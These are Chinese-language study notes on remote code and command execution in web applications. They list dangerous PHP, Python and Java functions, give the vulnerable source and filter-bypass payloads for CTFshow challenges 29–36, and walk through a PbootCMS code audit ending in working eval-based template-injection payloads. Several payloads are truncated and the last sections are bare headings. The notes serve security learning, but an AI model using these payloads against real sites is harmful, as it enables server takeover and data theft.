总览
知识点
调用命令的漏洞:高危
1.为什么会产生此类安全问题
2.此类安全问题探针利用及危害
3.此类安全问题在CTF即CMS分析
漏洞场景:代码会调用自身的脚本代码执行,也会调用系统命令执行
漏洞区别:脚本语言&操作系统(php/java/python/js&windows/linux/mac)
漏洞对象:WEB源码&中间件&其他环境(见漏洞详情对象)
漏洞危害:直接权限丢失,可执行任意脚本代码或系统命令
RCE-原理&探针&利用&危害等
RCE 分为两类
RCE代码执行:引用脚本代码解析执行
将数据以代码进行执行 eval('phpinfo();');
|
RCE命令执行:脚本调用操作系统命令
将数据以(系统命令)命令进行执行 system('ls');
|
和其它漏洞的区别:将字符串进行解析执行
危害:执行命令和代码。能读写文件。
黑盒探针RCE:难/几率小
大部分:基于白盒和网上爆出的RCE。
漏洞函数:★★★★★★
1.PHP: 运行代码: eval()、assert()、preg_replace()、call_user_func()、call_user_func_array()以及array_map()等 运行系统命令: system, ``, shell_exec ,popen, passthru, proc_open等 2.Python: eval exec subprocess os.system commands 3.Java: Java中没有类似php中eval函数这种直接可以将字符串转化为代码执行的函数,
|
但是有反射机制,并且有各种基于反射机制的表达式引擎,如: OGNL、SpEL、MVEL等.
实战
CTFshow-29~39-RCE代码命令执行
29-通配符
原始: if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/flag/i", $c)){ eval($c); } }else{ highlight_file(__FILE__); }
payload: ?c=system('tac fla*.*');
|
30-取代函数&通配符&管道符
使用其他函数取代system 原始: error_reporting(0); if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/flag|system|php/i", $c)){ eval($c); } }else{ highlight_file(__FILE__); }
payload1: ?c=echo shell_exec('tac fla*') payload2: `cp fla*.ph* 2.txt`; ==> 相当于system的作用 不过遗憾的是页面没有回显 ==> `tac fla*` 最后访问2.txt得到flag /2.txt
|
31-参数逃逸
原始: error_reporting(0); if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){ eval($c); } }else{ highlight_file(__FILE__); } payload: 过滤c参数的值,但不过滤1参数的值 ?c=eval($_GET[1]);&1=system('tac flag.php');
|
32~36-配合包含&伪协议
32原始: error_reporting(0); if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)){ eval($c); } }else{ highlight_file(__FILE__); }
payload1: ?>代替;进行分割,继续构造新变量 再搭配data伪协议 ?c=include$_GET[a]?>&a=data:
payload2: include$_GET[a]?>&a=php: 前期的文件包含漏洞--伪协议都能使用。
|
37~39-包含&伪协议&通配符
代码审计-PbootCMS-RCE代码执行
代码审计: 框架源码和常规源码,文件地址和URL是不直接对应的 后面涉及,当下不涉及
流程:搜索特定函数eval->parserIfLabel->parserCommom->About&Content->构造
public function parserIfLabel($content) { $pattern = '/\{pboot:if\(([^}]+)\)\}([\s\S]*?)\{\/pboot:if\}/'; $pattern2 = '/pboot:([0-9])+if/'; if (preg_match_all($pattern, $content, $matches)) { $count = count($matches[0]); for ($i = 0; $i < $count; $i ++) { $flag = ''; $out_html = ''; if (preg_match('/[\w]+\(\)/', $matches[1][$i])) { continue; }
eval('if(' . $matches[1][$i] . '){$flag="if";}else{$flag="else";}'); if (preg_match('/([\s\S]*)?\{else\}([\s\S]*)?/', $matches[2][$i], $matches2)) { switch ($flag) { case 'if': if (isset($matches2[1])) { $out_html = $matches2[1]; } break; case 'else': if (isset($matches2[2])) { $out_html = $matches2[2]; } break; } } elseif ($flag == 'if') { $out_html = $matches[2][$i]; } if (preg_match($pattern2, $out_html, $matches3)) { $out_html = str_replace('pboot:' . $matches3[1] . 'if', 'pboot:if', $out_html); $out_html = str_replace('{' . $matches3[1] . 'else}', '{else}', $out_html); $out_html = $this->parserIfLabel($out_html); } $content = str_replace($matches[0][$i], $out_html, $content); } } return $content; }
payload:留言内容,再访问about AboutController:{pboot:if(eval($_POST[1]))}!!!{/pboot:if} ContentController:/index.php/Content/2?keyword={pboot:if(eval($_REQUEST[1]));
|
层面-探针-语言&CMS框架&中间件
http://vulfocus.io/
Shiro代码执行漏洞
weblogic